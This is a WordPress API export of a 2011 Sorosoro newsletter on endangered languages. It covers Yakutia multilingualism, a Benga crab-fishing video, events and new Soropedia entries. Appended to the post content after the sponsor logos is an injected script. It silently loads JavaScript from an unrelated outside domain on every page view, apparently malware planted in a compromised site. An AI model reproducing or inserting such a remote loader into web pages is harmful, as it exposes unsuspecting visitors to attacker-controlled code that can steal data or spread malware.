{"id":49376,"date":"2011-06-02T11:23:41","date_gmt":"2011-06-02T09:23:41","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=49376"},"modified":"2025-10-21T22:39:42","modified_gmt":"2025-10-21T20:39:42","slug":"sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/","title":{"rendered":"Sorosoro &#8211; May 30, 2011 <br><br><i>Read<\/i>: multilingualism in Yakutia<br><i>See<\/i>: crab fishing in the Benga language<br>and more news, events, Soropedia updates\u2026"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Natalia Bochkareva takes us to <strong>Yakutia<\/strong>, or <strong>Republic of Sakha<\/strong>, in North-East Siberia. Despite the official recognition of the Sakha language and 4 other indigenous languages, <strong>the issue of their decline<\/strong> remains the same\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/multilingualism-in-the-republic-of-sakha-yakutia\">See blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Nouvelles vid\u00e9os<\/h5>\n<p style=\"text-align: justify;\">After having brought up, in the <strong>Benga<\/strong> language, the predicament of <strong>crabs<\/strong> and crab trappers on the <strong>Gabonese coast<\/strong>, we\u2019re off picking traps in the mangrove\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/crab-fishing-in-the-mangrove\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Actualit\u00e9s<\/h5>\n<p style=\"text-align: justify;\">May 21, 2011: <em><strong>The Australian<\/strong><\/em> published an article entitled \u00ab<strong>Speaking one\u2019s mother tongue is vital<\/strong>\u00bb, in which can be read the stimulating analysis of Aboriginal lawyer and activist Noel Pearson.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-21-2011-%C2%ABspeaking-one%E2%80%99s-mother-tongue-is-vital%C2%BB-the-australian\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>June 6, 2011<\/strong>: application deadline for <strong>Chamiza Foundation grant proposals<\/strong>, New Mexico, USA.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-6-2011-application-deadline-for-chamiza-foundation-grant-proposals-new-mexico-usa\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>June 6 \u2013 July 1st, 2011<\/strong>: 32nd <strong>American Indian Language Development Institute<\/strong>, Arizona, <strong>USA<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-6-%E2%80%93-july-1st-2011-32nd-american-indian-language-development-institute-arizona-usa\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>September 7-9, 2011<\/strong>: \u00ab<strong> Endangered Languages \u2013 the Voices they Project, and the Images they Present<\/strong> \u00bb conference, Quito, <strong>Ecuador<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/september-7-9-2011-%C2%AB%C2%A0endangered-languages-the-voices-they-project-and-the-images-they-present-%C2%BB-conference-quito-ecuador\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>3 new language descritpion sheets<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&#8211; An Arawak language of Brazil: <a href=\"http:\/\/www.sorosoro.org\/le-terena\">Ter\u00eana<\/a><\/p>\n<p style=\"text-align: justify;\">&#8211; Two severely endangered isolates of Bolivia: <a href=\"http:\/\/www.sorosoro.org\/litonama\">Itonama<\/a> and <a href=\"http:\/\/www.sorosoro.org\/le-cayubaba\">Cayubaba<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">A new <a href=\"https:\/\/www.sorosoro.org\/en\/to-dream\">word of the fortnight<\/a> awaits your inspired translations : \u00ab\u00a0<strong>To Dream<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>An excellent week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro team<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Natalia Bochkareva takes us to Yakutia, or Republic of Sakha, in North-East Siberia. Despite the official recognition of the Sakha language and 4 other indigenous languages, the issue of their decline remains the same\u2026 See blog Nouvelles vid\u00e9os After having brought up, in the Benga language, the predicament of crabs and crab trappers on [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-49376","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026 - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026 - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog Natalia Bochkareva takes us to Yakutia, or Republic of Sakha, in North-East Siberia. Despite the official recognition of the Sakha language and 4 other indigenous languages, the issue of their decline remains the same\u2026 See blog Nouvelles vid\u00e9os After having brought up, in the Benga language, the predicament of crabs and crab trappers on [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-02T09:23:41+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:39:42+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; May 30, 2011 Read: multilingualism in Yakutia See: crab fishing in the Benga language and more news, events, Soropedia updates\u2026\",\"datePublished\":\"2011-06-02T09:23:41+00:00\",\"dateModified\":\"2025-10-21T20:39:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\"},\"wordCount\":215,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\",\"name\":\"Sorosoro - May 30, 2011 Read: multilingualism in Yakutia See: crab fishing in the Benga language and more news, events, Soropedia updates\u2026 - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-06-02T09:23:41+00:00\",\"dateModified\":\"2025-10-21T20:39:42+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026 - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026 - Sorosoro","og_description":"Blog Natalia Bochkareva takes us to Yakutia, or Republic of Sakha, in North-East Siberia. Despite the official recognition of the Sakha language and 4 other indigenous languages, the issue of their decline remains the same\u2026 See blog Nouvelles vid\u00e9os After having brought up, in the Benga language, the predicament of crabs and crab trappers on [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/","og_site_name":"Sorosoro","article_published_time":"2011-06-02T09:23:41+00:00","article_modified_time":"2025-10-21T20:39:42+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; May 30, 2011 Read: multilingualism in Yakutia See: crab fishing in the Benga language and more news, events, Soropedia updates\u2026","datePublished":"2011-06-02T09:23:41+00:00","dateModified":"2025-10-21T20:39:42+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/"},"wordCount":215,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/","name":"Sorosoro - May 30, 2011 Read: multilingualism in Yakutia See: crab fishing in the Benga language and more news, events, Soropedia updates\u2026 - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-06-02T09:23:41+00:00","dateModified":"2025-10-21T20:39:42+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/06\/sorosoro-may-30-2011-read-multilingualism-in-yakutiasee-crab-fishing-in-the-benga-languageand-more-news-events-soropedia-updates\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; May 30, 2011 Read: multilingualism in YakutiaSee: crab fishing in the Benga languageand more news, events, Soropedia updates\u2026"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/49376","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=49376"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/49376\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=49376"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=49376"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=49376"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}